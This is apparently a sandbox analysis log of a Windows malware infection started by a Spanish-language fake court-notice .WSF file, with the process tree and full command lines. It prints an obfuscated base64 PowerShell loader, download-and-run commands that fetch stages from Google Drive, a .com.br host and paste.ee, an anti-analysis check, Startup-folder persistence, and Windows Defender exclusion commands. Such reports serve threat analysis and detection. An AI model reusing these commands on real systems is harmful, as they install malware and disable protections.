  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1600,i,16628233476281343774,224999568621417952,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2812 /prefetch:8
  2⤵
  PID:2724
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
  2⤵
  - Blocklisted process makes network request
  - Checks computer location settings
  PID:1312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $qndhw = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAZA' + [char]66 + 'sAGkAdQ' + [char]66 + 'CAFMATQ' + [char]66 + 'EAEQARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAHAAYQ' + [char]66 + 'zAHQAZQAuAGUAZQAvAGQALw' + [char]66 + 'tAFIAYgA0AHAALwAwACcAJwAgACgAIA' + [char]66 + 'dAF0AWw' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbw' + [char]66 + 'bACAALAAgAGwAbA' + [char]66 + '1AG4AJAAgACgAZQ' + [char]66 + 'rAG8Adg' + [char]66 + 'uAEkALgApACAAJwAnAEkAVg' + [char]66 + 'GAHIAcAAnACcAIAAoAGQAbw' + [char]66 + 'oAHQAZQAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcATQ' + [char]66 + '0AGUARwAuACkAIAAnACcAMQ' + [char]66 + 'zAHMAYQ' + [char]66 + 'sAEMALgAzAHkAcg' + [char]66 + 'hAHIAYg' + [char]66 + 'pAEwAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DACcAJwAgACgAZQ' + [char]66 + 'wAHkAVA' + [char]66 + '0AGUARwAnACAAPQArACAAYw' + [char]66 + 'tAEYAcg' + [char]66 + 'mACQAOwAgACcALgApACAAeg' + [char]66 + 'kAGYAeQ' + [char]66 + 'GACQAIAAoAGQAYQ' + [char]66 + 'vAEwALg' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + '0AG4AZQ' + [char]66 + 'yAHIAdQ' + [char]66 + 'DADoAJwAgACsAIAAnADoAXQ' + [char]66 + 'uAGkAYQ' + [char]66 + 'tAG8ARA' + [char]66 + 'wAHAAQQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAJwAgAD0AKwAgAGMAbQ' + [char]66 + 'GAHIAZgAkADsAIAAnADsAIAApACAAKQAnACcAQQAnACcALAAnACcAkyE6AJMhJwAnACgAZQ' + [char]66 + 'jAGEAbA' + [char]66 + 'wAGUAcgAuAEcAZQ' + [char]66 + 'hAHkAcgAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUwA0ADYAZQ' + [char]66 + 'zAGEAQg' + [char]66 + 'tAG8Acg' + [char]66 + 'GADoAOg' + [char]66 + 'dAHQAcg' + [char]66 + 'lAHYAbg' + [char]66 + 'vAEMALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAcw' + [char]66 + 'bACAAPQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAXQ' + [char]66 + 'dAFsAZQ' + [char]66 + '0AHkAQg' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAJwA7ACkAOA' + [char]66 + 'GAFQAVQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAJwAgACsAIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgACsAIAAnACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACgAIAA9ACAARw' + [char]66 + 'lAGEAeQ' + [char]66 + 'yACQAIAA7ACAAJwAnACUASQ' + [char]66 + 'oAHEAUg' + [char]66 + 'YACUAJwAnACAAPQAgAE0Abw' + [char]66 + '3AE4AcwAkACcAIAAgAD0AIA' + [char]66 + 'jAG0ARg' + [char]66 + 'yAGYAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAE4AbA' + [char]66 + 'yAGgAUAAkACAAPQAgAHoASA' + [char]66 + 'sAFQAdQAkADsAIAApACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC0AIA' + [char]66 + '0AG4AZQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'lAEcAIAAoACAAPQAgACAARQ' + [char]66 + 'NAEsAZg' + [char]66 + '1ACQAOwAgADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4ATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAATg' + [char]66 + 'sAHIAaA' + [char]66 + 'QACQAOwAgACkAJw' + [char]66 + '0AHgAdAAuADIAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAGwARw' + [char]66 + 'mAFQAUwAkADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACcAOA' + [char]66 + 'GAFQAVQAnACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC0AIA' + [char]66 + 'WAHAAaw' + [char]66 + '1AEoAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAGMAZQ' + [char]66 + 'tAFIAYwAkADsAIAApACAAcQ' + [char]66 + '6AGwAaA' + [char]66 + 'qACQAIAAoAGcAbg' + [char]66 + 'pAHIAdA' + [char]66 + 'TAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAIAA9ACAAYw' + [char]66 + 'lAG0AUg' + [char]66 + 'jACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALwAvADoAcw' + [char]66 + 'wAHQAdA' + [char]66 + 'oACcAKAAgAD0AIA' + [char]66 + 'xAHoAbA' + [char]66 + 'oAGoAJAA7AH0AIAAKAA0AOw' + [char]66 + '0AGkAeA' + [char]66 + 'lACAAIAAgACAAIAAgAAoADQA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIA' + [char]66 + 'yAGUAdA' + [char]66 + '1AHAAbQ' + [char]66 + 'vAEMALQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'SAAoADQAgAHsAZQ' + [char]66 + 'zAGwAZQAKAA0ACgANAH0ACgANACAAIAAgACAAIAAgACAACgANACAAewApAGwAbA' + [char]66 + '1AE4AJAAgAHEAZQAtACAAKQ' + [char]66 + 'lAHUAbg' + [char]66 + 'pAHQAbg' + [char]66 + 'vAEMAeQ' + [char]66 + 'sAHQAbg' + [char]66 + 'lAGwAaQ' + [char]66 + 'TACAAYQ' + [char]66 + 'lAC0AIAAnAGUAeg' + [char]66 + '5AGwAYQ' + [char]66 + 'uAGEAJwAsACcAUw' + [char]66 + 'OAEQAZQ' + [char]66 + '0AGEAcA' + [char]66 + 'hACcALAAnAGsAcg' + [char]66 + 'hAGgAcw' + [char]66 + 'lAHIAaQ' + [char]66 + 'XACcAIA' + [char]66 + 'zAHMAZQ' + [char]66 + 'jAG8Acg' + [char]66 + 'wAC0AdA' + [char]66 + 'lAGcAKAAoAGYAaQA7ACAAMgAxAHMAbA' + [char]66 + 'UADoAOg' + [char]66 + 'dAGUAcA' + [char]66 + '5AFQAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'sAG8AYw' + [char]66 + 'vAHQAbw' + [char]66 + 'yAFAAeQ' + [char]66 + '0AGkAcg' + [char]66 + '1AGMAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAOwAgAH0AZQ' + [char]66 + '1AHIAdAAkAHsAIAA9ACAAaw' + [char]66 + 'jAGEAYg' + [char]66 + 'sAGwAYQ' + [char]66 + 'DAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'kAGkAbA' + [char]66 + 'hAFYAZQ' + [char]66 + '0AGEAYw' + [char]66 + 'pAGYAaQ' + [char]66 + '0AHIAZQ' + [char]66 + 'DAHIAZQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TADoAOg' + [char]66 + 'dAHIAZQ' + [char]66 + 'nAGEAbg' + [char]66 + 'hAE0AdA' + [char]66 + 'uAGkAbw' + [char]66 + 'QAGUAYw' + [char]66 + 'pAHYAcg' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAewAgAGUAcw' + [char]66 + 'sAGUAfQAgAGYALwAgADAAIA' + [char]66 + '0AC8AIA' + [char]66 + 'yAC8AIA' + [char]66 + 'lAHgAZQAuAG4Adw' + [char]66 + 'vAGQAdA' + [char]66 + '1AGgAcwAgADsAJwAwADgAMQAgAHAAZQ' + [char]66 + 'lAGwAcwAnACAAZA' + [char]66 + 'uAGEAbQ' + [char]66 + 'tAG8AYwAtACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wADsAIA' + [char]66 + 'lAGMAcg' + [char]66 + 'vAGYALQAgACkAIAAnAHAAdQ' + [char]66 + '0AHIAYQ' + [char]66 + '0AFMAXA' + [char]66 + 'zAG0AYQ' + [char]66 + 'yAGcAbw' + [char]66 + 'yAFAAXA' + [char]66 + '1AG4AZQ' + [char]66 + 'NACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + '3AG8AZA' + [char]66 + 'uAGkAVw' + [char]66 + 'cAHQAZg' + [char]66 + 'vAHMAbw' + [char]66 + 'yAGMAaQ' + [char]66 + 'NAFwAZw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAG8AUg' + [char]66 + 'cAGEAdA' + [char]66 + 'hAEQAcA' + [char]66 + 'wAEEAXAAnACAAKwAgAFEARg' + [char]66 + '2AHoAVAAkACAAKAAgAG4Abw' + [char]66 + 'pAHQAYQ' + [char]66 + 'uAGkAdA' + [char]66 + 'zAGUARAAtACAAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAIA' + [char]66 + 'tAGUAdA' + [char]66 + 'JAC0AeQ' + [char]66 + 'wAG8AQwAgADsAIA' + [char]66 + '0AHIAYQ' + [char]66 + '0AHMAZQ' + [char]66 + 'yAG8AbgAvACAAdA' + [char]66 + 'lAGkAdQ' + [char]66 + 'xAC8AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAIA' + [char]66 + 'lAHgAZQAuAGEAcw' + [char]66 + '1AHcAIA' + [char]66 + 'lAHgAZQAuAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAIAA7ACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgAD0AIA' + [char]66 + 'YAEcAQw' + [char]66 + 'DAEoAOwApACAAZQ' + [char]66 + 'tAGEATg' + [char]66 + 'yAGUAcw' + [char]66 + 'VADoAOg' + [char]66 + 'dAHQAbg' + [char]66 + 'lAG0Abg' + [char]66 + 'vAHIAaQ' + [char]66 + '2AG4ARQ' + [char]66 + 'bACAAKwAgACcAXA' + [char]66 + 'zAHIAZQ' + [char]66 + 'zAFUAXAA6AEMAJwAoACAAPQAgAFEARg' + [char]66 + '2AHoAVAAkADsAKQAgACkAJw' + [char]66 + '1AHMAbQAuAG4AaQ' + [char]66 + '3AHAAVQ' + [char]66 + 'cACcAIAArACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAKAAgACwAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKA' + [char]66 + 'lAGwAaQ' + [char]66 + 'GAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8ARAAuAGMAcQ' + [char]66 + 'yAGsAYwAkADsAOA' + [char]66 + 'GAFQAVQA6ADoAXQ' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + '0AHgAZQ' + [char]66 + 'UAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALg' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7ACkAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAFcALg' + [char]66 + '0AGUATgAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AKAAgAD0AIA' + [char]66 + 'jAHEAcg' + [char]66 + 'rAGMAJAA7AH0AOwAgACkAJw' + [char]66 + '3ADUAMA' + [char]66 + 'aADEAOA' + [char]66 + '1AGMANw' + [char]66 + 'aAE0ASwA4ADgAZw' + [char]66 + 'lAHQAaA' + [char]66 + 'qAG4AQQ' + [char]66 + 'wAGoAMQ' + [char]66 + 'MAEIALQA0AHkASA' + [char]66 + 'hAGEAMQAnACAAKwAgAGsAZA' + [char]66 + 'rAHgAcQAkACgAIAA9ACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAewAgAGUAcw' + [char]66 + 'sAGUAfQA7ACAAKQAnAFYARQ' + [char]66 + 'TAGQAag' + [char]66 + '3AFUAOQA1AFIALQ' + [char]66 + 'XAHMAWQ' + [char]66 + '1AFoATA' + [char]66 + 'pAHcAcg' + [char]66 + 'iADUAWQ' + [char]66 + 'OAFEALQ' + [char]66 + 'IAGoAcg' + [char]66 + 'iADIAcAAxACcAIAArACAAaw' + [char]66 + 'kAGsAeA' + [char]66 + 'xACQAKAAgAD0AIA' + [char]66 + 'rAGQAaw' + [char]66 + '4AHEAJA' + [char]66 + '7ACAAKQAgAFEAZA' + [char]66 + 'lAGMAVAAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcw' + [char]66 + 'uAGkAYQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAC4ARQ' + [char]66 + 'SAFUAVA' + [char]66 + 'DAEUAVA' + [char]66 + 'JAEgAQw' + [char]66 + 'SAEEAXw' + [char]66 + 'SAE8AUw' + [char]66 + 'TAEUAQw' + [char]66 + 'PAFIAUAA6AHYAbg' + [char]66 + 'lACQAIAA9ACAAUQ' + [char]66 + 'kAGUAYw' + [char]66 + 'UACQAOwAnAD0AZA' + [char]66 + 'pACYAZA' + [char]66 + 'hAG8AbA' + [char]66 + 'uAHcAbw' + [char]66 + 'kAD0AdA' + [char]66 + 'yAG8AcA' + [char]66 + '4AGUAPw' + [char]66 + 'jAHUALw' + [char]66 + 'tAG8AYwAuAGUAbA' + [char]66 + 'nAG8Abw' + [char]66 + 'nAC4AZQ' + [char]66 + '2AGkAcg' + [char]66 + 'kAC8ALwA6AHMAcA' + [char]66 + '0AHQAaAAnACAAPQAgAGsAZA' + [char]66 + 'rAHgAcQAkADsAKQAgACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACAAKAAgAGwAZQ' + [char]66 + 'kADsAKQAoAGgAdA' + [char]66 + 'hAFAAcA' + [char]66 + 'tAGUAVA' + [char]66 + '0AGUARwA6ADoAXQ' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAC4ATw' + [char]66 + 'JAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAWwAgAD0AIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJA' + [char]66 + '7ACAAKQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAKAAgAGYAaQA7ACAAKQAyACgAcw' + [char]66 + 'sAGEAdQ' + [char]66 + 'xAEUALg' + [char]66 + 'yAG8Aag' + [char]66 + 'hAE0ALg' + [char]66 + 'uAG8AaQ' + [char]66 + 'zAHIAZQ' + [char]66 + 'WAC4AdA' + [char]66 + 'zAG8AaAAkACAAPQAgAEMAZQ' + [char]66 + 'PAEkAYwAkACAAOwA=';$qndhw = $qndhw.replace('уЦϚ' , 'B') ;;$pypll = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $qndhw ) ); $pypll = $pypll[-1..-$pypll.Length] -join '';$pypll = $pypll.replace('%XRqhI%','C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF');powershell $pypll
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$qxkdk = 'https://drive.google.com/uc?export=download&id=';$TcedQ = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $TcedQ ) {$qxkdk = ($qxkdk + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$qxkdk = ($qxkdk + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$ckrqc = (New-Object Net.WebClient);$ckrqc.Encoding = [System.Text.Encoding]::UTF8;$ckrqc.DownloadFile($qxkdk, ($HzOMj + '\Upwin.msu') );$TzvFQ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF' -Destination ( $TzvFQ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jhlzq = ('https://desckvbrat.com.br/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$webClient = New-Object System.Net.WebClient ;$cRmec = $webClient.DownloadString( $jhlzq ) ;$cRmec | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$ufKME = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $ufKME ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$frFmc = '$sNwoM = ''C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$frFmc += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$frFmc += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$frFmc += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$frFmc += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''0/p4bRm/d/ee.etsap//:sptth'' , $sNwoM , ''DDDMSBuild'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$frFmc | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:404
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\dll03.ps1
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1704
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3432
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3376
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c mkdir "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"
        6⤵
        
        PID:2616
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ecxul.ps1"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:3888
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Drops desktop.ini file(s)
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:4520
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\yifymh.pdf"
        8⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:3784
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:5040
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=A804F788F9D958D5C1EE4368C766855A --mojo-platform-channel-handle=1732 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:4736
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
